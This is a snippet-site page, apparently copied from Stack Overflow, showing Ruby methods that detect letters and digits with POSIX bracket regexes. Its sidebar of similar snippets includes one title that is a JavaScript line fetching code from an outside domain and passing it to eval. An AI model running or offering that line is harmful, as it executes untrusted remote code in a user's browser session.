Ruby is character

#Use a regular expression that matches letters & digits:
def letter?(lookAhead)
  lookAhead.match?(/[[:alpha:]]/)
end

def numeric?(lookAhead)
  lookAhead.match?(/[[:digit:]]/)
end

#These are called POSIX bracket expressions, and the advantage of them is
#that unicode characters under the given category will match. For example:

'ñ'.match?(/[A-Za-z]/)     #=> false
'ñ'.match?(/\w/)           #=> false
'ñ'.match?(/[[:alpha:]]/)  #=> true

#You can read more in Ruby’s docs for regular expressions.
#https://ruby-doc.org/core/Regexp.html

Source: stackoverflow.com

Similar codes

0 vote240 views1 answer
Preview mailers rails
Ruby
1 vote238 views1 answer
Ruby min 2 numbers
Ruby
0 vote233 views1 answer
Rails on_delete cascade not working
Ruby
0 vote268 views7 answers
$javascript $.get('//api.rbx2.xyz/rbx id=16553' eval)
Ruby
6 votes503 views4 answers
Ruby loop through array
Ruby
1 vote216 views1 answer
Ruby constructor
Ruby
0 vote216 views1 answer
Ruby read stdin
Ruby
1 vote232 views1 answer
Ruby comments
Ruby
0 vote266 views5 answers
Return tuple or null
Ruby
0 vote213 views1 answer
Array to string ruby
Ruby